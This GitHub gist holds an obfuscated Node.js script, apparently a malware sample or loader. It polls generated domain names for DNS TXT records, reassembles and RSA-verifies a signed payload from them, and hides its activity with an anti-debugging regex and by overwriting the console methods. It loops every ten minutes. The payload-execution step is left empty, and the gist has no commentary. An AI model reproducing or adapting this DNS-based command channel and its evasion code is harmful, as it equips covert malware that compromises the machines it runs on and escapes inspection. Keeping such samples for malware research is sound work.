Created
January 28, 2025 15:23
-
-
Save bskiefer/8171e3d5dd35b102ae15db9b2739198b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const dns = require("node:dns"); | |
const dnsPromises = dns.promises; | |
const crypto = require('node:crypto'); | |
function parseTxtMessage(_0x1abf0c) { | |
const _0x1a2ea9 = {}; | |
for (const _0x5c338d of _0x1abf0c) { | |
try { | |
const _0x4e00a2 = _0x5c338d.join(''); | |
let _0x7a04a4 = parseInt(_0x4e00a2.substring(0x0, 0x2), 0x10); | |
_0x1a2ea9[_0x7a04a4] = _0x4e00a2.substring(0x2); | |
} catch (_0x465ad6) { | |
console.warn(_0x465ad6); | |
} | |
} | |
const _0x4f7fb8 = Object.keys(_0x1a2ea9); | |
_0x4f7fb8.sort(function (_0x3ece9a, _0x111872) { | |
return _0x3ece9a - _0x111872; | |
}); | |
let _0x532181 = ''; | |
for (const _0x25fbfc of _0x4f7fb8) { | |
_0x532181 += _0x1a2ea9[_0x25fbfc]; | |
} | |
_0x532181 = _0x532181.replaceAll('.', '/').replaceAll('-', '='); | |
const _0xeb401d = Buffer.from(_0x532181, "base64"); | |
const _0x28676a = _0xeb401d.readUInt16LE(0x0); | |
const _0x3da663 = _0xeb401d.readUInt8(0x2); | |
const _0x6b5a34 = _0xeb401d.subarray(0x3, 0x3 + _0x28676a); | |
const _0x24f7bc = _0xeb401d.subarray(0x3 + _0x28676a, 0x3 + _0x28676a + _0x3da663); | |
const _0xb0bda0 = crypto.verify("RSA-SHA256", _0x6b5a34, "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDSE9yVacCTY5hKgJiHNLW+TBH6\nzg9b+bs2KiKtEcYlAOiUTw4U1SkpX8Fkt56rpzYvtkpxmWaFpRVjthQiRy5kjrs1\nM4gjGj+4SXAI5z6PWLnIHIvT0l3agq2BVvjmaRjlbVDYSgB+kZKjL+2KmTPgtJuX\nEmTuiLLkxx2es325VQIDAQAB\n-----END PUBLIC KEY-----", _0x24f7bc); | |
if (!_0xb0bda0) { | |
return null; | |
} | |
return _0x6b5a34; | |
} | |
const aa = ['tu', 'gd', 'op', "wub", 'qw', 'lw', 'po', 'mo']; | |
const bb = ['in', 'de', 'jp', "unl", "777", 'app']; | |
const cc = ["com", 'io']; | |
const run = async function () { | |
for (const _0x139075 of cc) { | |
for (const _0x291bc5 of bb) { | |
for (const _0x300acd of aa) { | |
try { | |
let _0x4920c8 = _0x300acd + _0x291bc5 + '.' + _0x139075; | |
const _0xa981a5 = await dnsPromises.resolveTxt(_0x4920c8); | |
const _0x2a827d = parseTxtMessage(_0xa981a5); | |
if (_0x2a827d != null) { | |
console.log("text: " + _0x4920c8); | |
try {} catch (_0x5b75ad) { | |
console.error(_0x5b75ad); | |
} | |
} | |
} catch (_0x5aad46) {} | |
} | |
} | |
} | |
}; | |
function delay(_0x53b691, _0x28c526) { | |
return new Promise(_0x8541bb => setTimeout(_0x8541bb, _0x53b691, _0x28c526)); | |
} | |
(async function () { | |
const _0x573b1e = function () { | |
let _0x5410d3 = true; | |
return function (_0xe05af1, _0xe97fbe) { | |
const _0x41fb8e = _0x5410d3 ? function () { | |
if (_0xe97fbe) { | |
const _0x2e99b6 = _0xe97fbe.apply(_0xe05af1, arguments); | |
_0xe97fbe = null; | |
return _0x2e99b6; | |
} | |
} : function () {}; | |
_0x5410d3 = false; | |
return _0x41fb8e; | |
}; | |
}(); | |
const _0xc6ecda = _0x573b1e(this, function () { | |
return _0xc6ecda.toString().search("(((.+)+)+)+$").toString().constructor(_0xc6ecda).search("(((.+)+)+)+$"); | |
}); | |
_0xc6ecda(); | |
const _0x696a6 = function () { | |
let _0x348707 = true; | |
return function (_0x4d2aab, _0x2f1453) { | |
const _0x1a54d1 = _0x348707 ? function () { | |
if (_0x2f1453) { | |
const _0x1abfb9 = _0x2f1453.apply(_0x4d2aab, arguments); | |
_0x2f1453 = null; | |
return _0x1abfb9; | |
} | |
} : function () {}; | |
_0x348707 = false; | |
return _0x1a54d1; | |
}; | |
}(); | |
const _0x13107a = _0x696a6(this, function () { | |
const _0x3819c0 = function () { | |
let _0x46ce91; | |
try { | |
_0x46ce91 = Function("return (function() {}.constructor(\"return this\")( ));")(); | |
} catch (_0x45f300) { | |
_0x46ce91 = window; | |
} | |
return _0x46ce91; | |
}; | |
const _0x5a7270 = _0x3819c0(); | |
const _0x591661 = _0x5a7270.console = _0x5a7270.console || {}; | |
const _0x33d2da = ['log', 'warn', "info", 'error', "exception", "table", "trace"]; | |
for (let _0x5a0f5d = 0x0; _0x5a0f5d < _0x33d2da.length; _0x5a0f5d++) { | |
const _0x5581f2 = _0x696a6.constructor.prototype.bind(_0x696a6); | |
const _0x2a6ca6 = _0x33d2da[_0x5a0f5d]; | |
const _0x3fbfde = _0x591661[_0x2a6ca6] || _0x5581f2; | |
_0x5581f2.__proto__ = _0x696a6.bind(_0x696a6); | |
_0x5581f2.toString = _0x3fbfde.toString.bind(_0x3fbfde); | |
_0x591661[_0x2a6ca6] = _0x5581f2; | |
} | |
}); | |
_0x13107a(); | |
while (true) { | |
try { | |
await run(); | |
} catch (_0x536508) { | |
console.error(_0x536508); | |
} | |
await delay(600000); | |
} | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment